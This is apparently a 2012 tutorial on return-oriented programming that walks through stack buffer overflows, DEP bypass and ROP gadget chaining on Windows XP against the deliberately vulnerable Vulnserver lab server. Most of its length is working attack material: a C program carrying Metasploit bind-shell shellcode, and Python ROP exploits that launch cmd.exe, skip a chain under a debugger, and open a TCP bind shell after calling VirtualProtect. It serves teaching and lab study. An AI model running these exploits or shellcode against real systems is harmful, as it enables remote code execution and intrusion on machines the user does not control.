Return Oriented Programming (ROP) attacks
According to Wikipedia, "Return-oriented programming (also called "chunk-borrowing à la Krahmer") is a computer security exploit technique in which the attacker uses control of the call stack to indirectly execute cherry-picked machine instructions or groups of machine instructions immediately prior to the return instruction in subroutines within the existing program code, in a way similar to the execution of a threaded code interpreter.
"Because all the instructions that are executed are from executable memory areas within the original program, this avoids the need for direct code injection, and circumvents most measures that try to prevent the execution of instructions from user-controlled memory."
What should you learn next?
Let start with an introduction to stack buffer overflows.
Basic System Set
1: Windows XP SP2 installed on a machine supporting H/W enabled DEP.
2: Immunity Debugger and Metasploit.
3: TCC compiler or lcc-win compiler.
4: Latest Python installer.
5: Vulnserver(http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html ) by Stephen Bradshaw.
6: Some patience.
Stack buffer overflows
There is a memory region called a "stack". The stack region of the memory is used to temporarily store data related to the current thread or function, for example the local function and stack parameter of the function. Certain processor registers keep track of the stack location i.e stack top and stack base.
These are nothing but memory addresses which determine the address of the stack frame. Two processor registers ESP and EBP are used to track the record of memory address. ESP stand for top stack pointer and EBP for base pointer.
This is the typical stack layout in the x86 processor. One thing to notice here is that the stack grows from top to bottom, i.e ESP will always be less or equal to EBP. The stack contains local function variables and a special value called a return address, to which the control flow is returned when a function exits. If that particular value on the stack gets overwritten by any means, we can divert the control flow to our shell code that we injected though data input into the program. For example, consider the following C Code:
int VulnFunction(char *p)
{
char buf[40];
strcpy(buf, p);
return 0;
}
An equivalent disassembly of the VulnFunction code would be:
VulnFunction:
PUSH EBP
MOV EBP,ESP
SUB ESP, 28 ; RESERVER 40 BYTES ON STACK FOR
PUSH [EBP + 28]; address of buf
CALL strcpy ; vulnerable function
ADD ESP, 4 ; STACK CLEAREANCE
ADD ESP, 28; REMOVER BUF FROM
STACK
POP EBP ; RESTORE OLD EBP
RET ; POP VALUE FROM STACK AND RETURN TO THAT ADDRESSS
Now if more than 44 bytes are provided to the function, we will be able to overwrite the return address stored on that stack, which is used to control the return of that function code.
Why 44? You may wonder why more than 44 bytes are required to overwrite the return address when the buffer is only 40 bytes. It's because at the function entry sequence, the EBP (4 bytes) is pushed on to the stack and recovered at the function exit sequence.
Let's now experiment by passing 48 bytes to the program "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" and see what happens. In the picture you can clearly see that the EIP gets overwritten by the last 4 bytes, ie "bbbb" (hex 62), and the program crashes suddenly after RET instruction is executed.
In conventional attack scenarios we would attack the program by passing junk(44 bytes) + ESP + shellcode. But the problem with that is the address of the ESP always contains some zero bytes e.g. 0012ff4c, strcpy would stop if a null is encountered and will result in incomplete copying of our shell code. We will supply the return address of a special instruction called a trampoline JMP ESP to make it jump to our shell code located on the stack. In the context of our program we will use a trampoline located in ntdll at:
7C941EED JMP ESP
So now the attack buffer would be something like this:junk(44 bytes) + JMP_ESP + shellcode
We will supply it a TCP bind Shell code generated with from metasploit
/* C program to exploit VulnFunction */
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define JMP_ESP 0x7C941EED // ntdll.dll JMP ESP
// metasploit tcp_bin port 4444
unsigned char buf[] =
"x33xc9x83xe9xaaxe8xffxffxffxffxc0x5ex81x76x0e"
"xd7x6exebx09x83xeexfcxe2xf4x2bx86x62x09xd7x6e"
"x8bx80x32x5fx39x6dx5cx3cxdbx82x85x62x60x5bxc3"
"xe5x99x21xd8xd9xa1x2fxe6x91xdaxc9x7bx52x8ax75"
"xd5x42xcbxc8x18x63xeaxcex35x9exb9x5ex5cx3cxfb"
"x82x95x52xeaxd9x5cx2ex93x8cx17x1axa1x08x07x3e"
"x60x41xcfxe5xb3x29xd6xbdx08x35x9exe5xdfx82xd6"
"xb8xdaxf6xe6xaex47xc8x18x63xeaxcexefx8ex9exfd"
"xd4x13x13x32xaax4ax9exebx8fxe5xb3x2dxd6xbdx8d"
"x82xdbx25x60x51xcbx6fx38x82xd3xe5xeaxd9x5ex2a"
"xcfx2dx8cx35x8ax50x8dx3fx14xe9x8fx31xb1x82xc5"
"x85x6dx54xbfx5dxd9x09xd7x06x9cx7axe5x31xbfx61"
"x9bx19xcdx0ex28xbbx53x99xd6x6exebx20x13x3axbb"
"x61xfexeex80x09x28xbbxbbx59x87x3exabx59x97x3e"
"x83xe3xd8xb1x0bxf6x02xe7x2cx38x0cx3dx83x0bxd7"
"x7fxb7x80x31x04xfbx5fx80x06x29xd2xe0x09x14xdc"
"x84x39x83xbex3ex56x14xf6x02x3dxb8x5exbfx1ax07"
"x32x36x91x3ex5ex5exa9x83x7cxb9x23x8axf6x02x06"
"x88x64xb3x6ex62xeax80x39xbcx38x21x04xf9x50x81"
"x8cx16x6fx10x2axcfx35xd6x6fx66x4dxf3x7ex2dx09"
"x93x3axbbx5fx81x38xadx5fx99x38xbdx5ax81x06x92"
"xc5xe8xe8x14xdcx5ex8exa5x5fx91x91xdbx61xdfxe9"
"xf6x69x28xbbx50xf9x62xccxbdx61x71xfbx56x94x28"
"xbbxd7x0fxabx64x6bxf2x37x1bxeexb2x90x7dx99x66"
"xbdx6exb8xf6x02x6exebx09";
char *p = NULL;
char *Parg = NULL;
int VulnFunction(char *p)
{
char buf[40];
strcpy(buf, p);
return 0;
}
int main(int argc, char **argv)
{
char a[900]; // junk to compensate stack
char *base = NULL;
p = (int*) malloc( sizeof(buf) + 48);
base = p;
if (p == NULL ) exit(EXIT_FAILURE);
memset(p, 0x44, 44); // Set 44 Bytes Junk
p = p + 44;
*(int*)p = JMP_ESP;
p = base;
memcpy((p + 48), buf, sizeof(buf));
VulnFunction(p);
return 0;
}
After executing we will get a shell at 4444 TCP port.DEP (Data Execution Prevention)
DEP is a technique that was introduced to Windows XP SP2 to protect against buffer overflow attacks. DEP simply restricts the execution memory marked as read/write. Since the stack has been marked with read/write attributes, DEP restricts the execution of our shell code which we place on the stack.
Ret2lib (Return To Library) AttackRather than injecting the shellcode and jumping to it, we can call a certain sub-routine in the address space of the executable. For example, we can fake the stack frame to call the system() C standard library function in msvcrt.dll to execute an arbitrary command and we can even chain multiple functions together. That way we can bypass DEP by reusing code from the program binary. But one of the main disadvantage of ret2lib is that it lacks in arbitrary computation (truing completeness).
ROP (Return Oriented Proragmming ) attack
This type of attack was introduced by Hovav Shacham of Stanford University in his paper "The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86)." In the paper he describes "new return-into-libc techniques that allow arbitrary computation (and that are not, therefore, straight-line limited) and that do not require calling any functions whatsoever".
That means this type of attack is able to perform arbitrary computation without the necessary use of library functions by reusing code chunks which he calls GADGETS. Gadgets are a small group of instructions ending with a x86 RET instruction. For example, mov eax, 10 ; ret is a gadget which allows us to set eax to 10 (decimal). These gadgets can be chained together to make them work as a simple unit to perform arbitray computations. For example, we can chain three gadgets together to perform addition on them:
pop eax; ret
pop ebx ret;
add eax, ebx; ret
The following chain of gadgets allows us to set two processor registers and them perform arithmetic addition on them:
ROP is not limited to only calculations. We can also perform code branching and check for conditions (equal, less and greater ) on the given data.
ROP attacks (loading and storing data)
There are certain gadgets that allows us to store and load data from one place to another. Modes of transfer include:
1: register to register
2: register to memory
3:memory to register
Register to register
The gadgets related to reg to reg copying are:
mov eax, ebx
mov ecx, eax
etc.
Register to memory
A search in Immunity Debugger will yield the following results and even more:
7C828B39 MOV ECX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll
7C828BF9 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll
7C828C2A MOV EDX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll
7C828CC3 MOV ESI,DWORD PTR DS:[EBX] C:WINDOWSsystem32kernel32.dll
7C828D26 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll
7C828D4C MOV EDX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll
7C828D70 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll
7C828DAB MOV EAX,DWORD PTR DS:[EAX] C:WINDOWSsystem32kernel32.dll
7C828DB1 MOV EDX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll
7C828E77 MOV EAX,DWORD PTR DS:[ESI] C:WINDOWSsystem32kernel32.dll
7C8290AC MOV EAX,DWORD PTR DS:[ECX] C:WINDOWSsystem32kernel32.dll
Memory to register
To transfer values from the stack to a register, we have gadgets like pop eax; ret ;pop ebx;ret
This gadget pops a value from the stack and stores it in a processor register.
We also have gadgets like:
7C801118 MOV DWORD PTR DS:[ESI],EAX C:WINDOWSsystem32kernel32.dll
7C80168A MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll
7C8016D9 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll
7C801728 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll
7C801761 MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll
7C8017A2 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll
7C801800 MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll
7C801823 MOV DWORD PTR DS:[ECX],EBX C:WINDOWSsystem32kernel32.dll
7C80188E MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll
7C8018E2 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll
7C801957 MOV DWORD PTR DS:[EDX],ECX C:WINDOWSsystem32kernel32.dll
7C801963 MOV DWORD PTR DS:[ESI],EBX C:WINDOWSsystem32kernel32.dll
7C8019CC MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll
7C8019F7 MOV DWORD PTR DS:[EAX],EBX C:WINDOWSsystem32kernel32.dll
7C801F22 MOV DWORD PTR DS:[EDX],EAX C:WINDOWSsystem32kernel32.dll
7C801F30 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll
7C802040 MOV DWORD PTR DS:[EAX],EDI C:WINDOWSsystem32kernel32.dll
7C8021FC MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll
7C8022D8 MOV DWORD PTR DS:[EAX],ECX C:WINDOWSsystem32kernel32.dll
7C80231F MOV DWORD PTR DS:[ECX],EDX C:WINDOWSsystem32kernel32.dll
7C80248B MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll
7C802497 MOV DWORD PTR DS:[ECX],EAX C:WINDOWSsystem32kernel32.dll
The gadget at 0x7C802497 kernel32.dll MOV DWORD PTR DS:[ECX],EAX; ret, moves the value of EAX to a memory location pointed by ECX.
ROP gadgets (arithmetic operations)
The x86 primitive instructions related to arithmetic are ADD, SUB, MUL, DIV XOR, rotates and shifts etc., and we can search gadgets related to those operations.
Addition:
7C95CE86 ADD ECX,EBP C:WINDOWSsystem32ntdll.dll
7C96CCC0 ADD ECX,EBP C:WINDOWSsystem32ntdll.dll
7C9761FB ADD ECX,ECX C:WINDOWSsystem32ntdll.dll
7C9770F0 ADD EAX,EBP C:WINDOWSsystem32ntdll.dll
7CA29036 ADD ESI,ESI C:WINDOWSsystem32SHELL32.dll
7CA367A6 ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll
7CABF312 ADD EDI,EDI C:WINDOWSsystem32SHELL32.dll
7CAE0091 ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll
7CB8C82F ADD EBX,EBP C:WINDOWSsystem32SHELL32.dll
7CB9196F ADD EAX,EBP C:WINDOWSsystem32SHELL32.dll
7CB9B4EA ADD EBX,EAX C:WINDOWSsystem32SHELL32.dll
7CBA519A ADD EBX,EAX C:WINDOWSsystem32SHELL32.dll
Similarly, we have subtraction, multiplication and division. E.g.:
7C902AF5 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll
7C902AFF SUB EAX,ECX C:WINDOWSsystem32ntdll.dll
7C902B09 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll
7C902B13 SUB EAX,ECX C:WINDOWSsystem32ntdll.dll
Handling NULL Bytes in a ROP payloadA ROP payload contains addresses or parameters to a system function (in case we are faking the stack frame of particular function). There is a high probability that a certain parameter of a system function or an address of a ROP gadget might contain one or many NULL bytes and they might be categorised as bad chars in the vulnerable function, eg. in case of strcpy, it stops copying the buffer as soon as a NULL (0x00) byte is encountered. If we go on without taking the null byte handling into account, our ROP payload will be incorrectly copied.
Now, let us consider an example here: You have a hypothetical system function as FunctionX which takes two arguments x and y, in which y has to be necessarily 0 or null in order to work.
Void FunctionX(DWORD x, DWORD y)
{
if (y == NULL)
{
.....
.....
.....
}
exit(-1);
}
The stack frame of FunctionX will become like this.
As we can see on the stack frame, it's necessary that we place a null word as the second parameter to FunctionX, so how do we handle null bytes?
There is a well known mathematical axiom:
Let there be two variables A and B,
we know A XOR B = z(say)
now A XOR Z = B also B XOR Z = A
let A = 0x00000000
let B = 0xffffffff;
A XOR B = 0xffffffff (z)
Now if we want to convert it back into A, we XOR it back with B(mask)
Z XOR B = 0x00000000
We will use the XOR gadget combined with Load and Store gadgets to store the value back on the stack.
To demonstrate this technique, we will exploit a buffer overflow in Vulnserver (see http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html by Stephen Bradshaw).
There exists a buffer overflow in the server when processing TRUN messages from the client.
From vulnserver.c:
else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {
char *TrunBuf = malloc(3000);
memset(TrunBuf, 0, 3000);
for (i = 5; i < RecvBufLen; i++) {
if ((char)RecvBuf[i] == '.') {
strncpy(TrunBuf, RecvBuf, 3000);
Function3(TrunBuf);
break;
}
}
The server accepts 3000 bytes after the TRUN message and passes it to Function3, where the buffer overflow takes place.
void Function3(char *Input) {
char Buffer2S[2000];
strcpy(Buffer2S, Input);
}
Using pattern_create.rb and pattern_offset.rb from Metasploit, we are able to determine that after 2006 bytes the EIP overwrite takes place.
We will try to demonstrate a ROP payload executing WinExec to execute CMD.EXE using exploit code written in Python.
# WinExec ROP exploit for vulnserver
# (C) 2012 Rashid bhatt
import socket, sys
from struct import pack
target = "127.0.0.1"
port = int("9999")
from operator import *
param1 = xor(0x00B6FA60, 0xffffffff) # location of stack parameter
lpCMDline = xor(0x00B6FA68, 0xffffffff) # pointer to string
param2 = xor(0x00B6FA64, 0xffffffff) # location of stack parameter
eip = pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', param1)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', lpCMDline)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
## for nCMDShow , we have to make it zero
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', param2)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C91C91D) #xor ecx, ecx
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
eip += pack('<L', 0x7C86114D) # call WinExec
eip += pack('<L', 0x77C39E7E ) # ret to msvcrt_Exit ( function chained )
eip += pack('<L',0xdeadbeef) # first param point to stack ( contains a null byte)
eip += pack('<L',0xdeadbeef ) # second param (zero nCMDShow = 0)
eip += "cmd.exe"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.send("TRUN ." + "a" * 2006 + eip)
s.recv(1000)
s.close()
UN-conditional and conditional jumps in ROP attacks
In ROP, the ESP keeps track of the next gadget to be executed, therefore by modifying the ESP we can divert or skip the execution of certain gadgets. The following diagram illustrates an infinite loop.
# Infinite loop ROP payload
# (C) 2012 Rashid Bhatt
import socket, sys
from struct import pack
target = "127.0.0.1"
port = int("9999")
from operator import *
esp_loc = xor(0x00B6FA3C, 0xffffffff) # location of DWORD after pop esp gadget on stack
esp_val = xor(0x00B6FA38, 0xffffffff) # esp value
eip = pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', esp_loc)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', esp_val)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
eip += pack('<L', 0x7C929BAB) # pop esp
eip += pack('<L', 0xdeadbeef)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.send("TRUN ." + "a" * 2006 + eip)
s.recv(1000)
s.close()
Conditional jumps in ROP are quite tricky. We have to modify the ESP based on a certain comparison eg < ,> ,== .
Comparing with zero
We will check if the value is zero or not, and based on the comparison, we will add an offset to the ESP to skip certain gadgets.
wWe need to store two values on the stack:
1: The value to be compared with zero.
2: ESP_DELTA , the value which will be added to the ESP if the condition is satisfied.
The process takes place in the following steps:1: Load the value to be checked in a general purpose register and apply NEG x86 instruction on it.
2: NEG instruction Computes the 2' complement, and sets the CF as per the operand.
3: If the number is zero, the CF becomes zero, otherwise one.
4: Zero any register by xor reg,reg gadget, and use ADC reg,reg to place the CF in it.
5: Again use NEG instruction to compute the 2's complement on the same register. The register would now either contain a single 1 bit or all zeros, based on the CF from the previous operation.
6: 2's complement will transform it to all zeros if CF was 0 or all 1 if CF was 1.
7: Perform Logical AND of ESP_DELTA and the result.
8: Now, based on the CF we will either get ESP_DELTA or zero.
8: Add the result to the ESP.
To demonstrate this technique, we will use the IsDebuggerPresent(void) function to check if the process is being debugged or not, and if not, we will proceed to execute CMD.exe using the earlier ROP payload:
# Conditional ROP payload
# (c) 2012 Rashid Bhatt
import socket, sys
from struct import pack
target = "127.0.0.1"
port = int("9999")
from operator import *
esp_delta_loc = xor(0x00B6FA88 , 0xffffffff) # location of esp_delta on stack
esp_delta_value = xor(0x200, 0xffffffff) # value to be added to stack
param1 = xor(0x00B6FA98, 0xffffffff)
param1_val = xor(0x00, 0xffffffff)
# handling zero bytes for ESP_DELTA
eip = pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', esp_delta_loc)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', esp_delta_value)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
# FOR POP EBX ; EBX = 0 ( unfortunately no gadget was available for xor ebx,ebx)
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', param1)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', param1_val)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
eip += pack('<L', 0x7C812E03) # isdebuggerpresent()
eip += pack('<L', 0x77E2233D) #xor esi,esi
eip += pack('<L', 0x77D74960) # NEG eax
eip += pack('<L', 0x71A77D0B) # adc esi,esi
eip += pack('<L', 0x77C39F8F) # mov eax,esi (with side effects of popping a value from stack)
eip += pack('<L', 0xdeadbeef) # junk
eip += pack('<L', 0x77D74960) #neg eax
eip += pack('<L', 0x7C90ECEA) # pop edi
eip += pack('<L', 0xbadb00b) # ESP_DELTA fixed earlier
eip += pack('<L', 0x77C13FFD) # XCHG EAX, ECX
eip += pack('<L', 0x77C14518 ) # AND EDI,ECX
eip += pack('<L', 0x7C9742C9 ) # pop ebx
eip += pack('<L', 0xbadb00b) # ZERO fixed earlier
eip += pack('<L', 0x77E0C1EE) # xchg eax, edi
eip += pack('<L', 0x7C939D54) # ADD EBX,EAX
eip += pack('<L', 0x7C939C04) # ADD ESP, EBX
# ============================== #
param1 = xor(0x00B6FB00, 0xffffffff) # location of stack parameter
lpCMDline = xor(0x00B6FB08, 0xffffffff) # pointer to string
param2 = xor(0x00B6FB04, 0xffffffff) # location of stack parameter
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', param1)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', lpCMDline)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
## for nCMDShow , we have to make it zero
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', param2)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C91C91D) #xor ecx, ecx
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
eip += pack('<L', 0x7C86114D) # call WinExec
eip += pack('<L', 0x77C39E7E ) # ret to msvcrt_Exit ( function chained )
eip += pack('<L',0xdeadbeef) # first param point to stack ( contains a null byte)
eip += pack('<L',0xdeadbeef ) # second param (zero nCMDShow = 0)
eip += "cmd.exe"
# ========================================= #
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.send("TRUN ." + "a" * 2006 + eip)
s.recv(1000)
s.close()
Now, if we run the exploit without debugging the process, we will proceed to the execution of CMD.exe, but if the server is being debugged, the process will crash because that time the ROP payload for CMD.EXE will be skipped. We can verify this by debugging the server and then setting a break point at 7C939C04 ADD ESP, EBX gadget.Hit the Breakpoint at 7C939C04:
7C939C04 01DC ADD ESP,EBX ; offset being added to esp
7C939C06 05 9CEE977C ADD EAX,ntdll.7C97EE9C
7C939C0B C3 RETN
EAX FFFFFFFF
ECX FFFFFFFF
EDX 00657865
EBX 00000200 << 200 (hex) offset added when process in being debugged
ESP 00B6FAA8
EBP 61616161
ESI DEADBEEF
EDI 00000000
EIP 7C939C04 ntdll.7C939C04
Comparing two values
A similar strategy is used to check if two values are equal to, less than, or greater than each other.
A SUB instruction will subtract two values to be checked for equality; the SUB instruction sets the CF if the destination operand is greater. The CF would get updated if the values are not same, and then later apply the same logic of checking for zero.
Putting it all together
We will now write a ROP exploit for Vulnserver to bind it to port 4444 TCP. To achieve that we will remark the stack memory with an executable permission using VirtualProtect Function and then we will jump to our shellcode located on the stack.
# (c) 2012 Rashid Bhatt
import socket, sys
from struct import pack
# tcp/ip bind 444 shellcode
buf = "x2bxc9x83xe9xb5xe8xffxffxffxffxc0x5ex81x76x0ex25xabx3axc9x83xeexfcxe2xf4xd9x43xb3xc9x25xabx5ax40xc0x9axe8xadxaexf9x0ax42x77xa7xb1x9bx31x20x48xe1x2ax1cx70xefx14x54x0bx09x89x97x5bxb5x27x87x1ax08xeaxa6x3bx0exc7x5bx68x9exaexf9x2ax42x67x97x3bx19xaexebx42x4cxe5xdfx70xc8xf5xfbxb1x81x3dx20x62xe9x24x78xd9xf5x6cx20x0ex42x24x7dx0bx36x14x6bx96x08xeaxa6x3bx0ex1dx4bx4fx3dx26xd6xc2xf2x58x8fx4fx2bx7dx20x62xedx24x78x5cx42x29xe0xb1x91x39xaaxe9x42x21x20x3bx19xacxefx1exedx7exf0x5bx90x7fxfaxc5x29x7dxf4x60x42x37x40xbcx94x4dx98x08xc9x25xc3x4dxbax17xf4x6exa1x69xdcx1cxcexdax7ex82x59x24xabx3axe0xe1xffx6axa1x0cx2bx51xc9xdax7ex6ax99x75xfbx7ax99x65xfbx52x23x2ax74xdax36xf0x3cx0bx12x76xc3x38xc9x34xf7xb3x2fx4fxbbx6cx9ex4dx69xe1xfex42x54xefx9ax72xc3x8dx20x1dx54xc5x1cx76xf8x6dxa1x51x47x01x28xdax7ex6dx5ex4dxdex54x84x44x54xefxa3x25xc1x3ex9fx72xc3x38x10xedxf4xc5x1cxaex9dx50x89x4dxabx2axc9x25xfdx50xc9x4dxf3x9ex9axc0x54xefx5ax76xc1x3ax9fx76xfcx52xcbxfcx63x65x36xf0xaaxf9xe0xe3x2exccxbcxc9x68x3axc9"
target = "127.0.0.1"
port = int("9999")
from operator import *
address_loc = xor(0x00B6FAD0 , 0xffffffff)
address_val = xor(0x00B6FAE0, 0xffffffff)
size_loc = xor(0x00B6FAD4, 0xffffffff)
size = xor(len(buf), 0xffffffff)
nprotect_loc = xor(0x00B6FAD8, 0xffffffff)
nprotect = xor(0x40, 0xffffffff)
oldprotect_loc = xor(0x00B6FADC, 0xffffffff)
oldprotect = xor(0x00B6FAB4, 0xffffffff)
# first param
eip = pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', address_loc)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', address_val)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
# second param
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', size_loc)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', size)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
# Third param
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', nprotect_loc)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', nprotect)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
# fourth param
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', oldprotect_loc)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x77C14001) # xchg eax, ecx
eip += pack('<L', 0x7C9029AC) # pop edi
eip += pack('<L', 0xffffffff)
eip += pack('<L', 0x7C971980) #pop ecx
eip += pack('<L', oldprotect)
eip += pack('<L', 0x71AB100C) #xor ecx, edi
eip += pack('<L', 0x7C951376) # MOV DWORD PTR DS:[EAX],ECX
eip += pack('<L', 0x7C801AD0 ) # VirtualProtect
eip += pack('<L', 0x7C941EED) # JMP ESP
eip += pack('<L', 0xdeadbeef) #1
eip += pack('<L', 0xdeadbeef) #2
eip += pack('<L', 0xdeadbeef) #3
eip += pack('<L', 0xdeadbeef) #4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.send("TRUN ." + "a" * 2006 + eip + buf)
s.recv(1000)
s.close()
What should you learn next?
What should you learn next?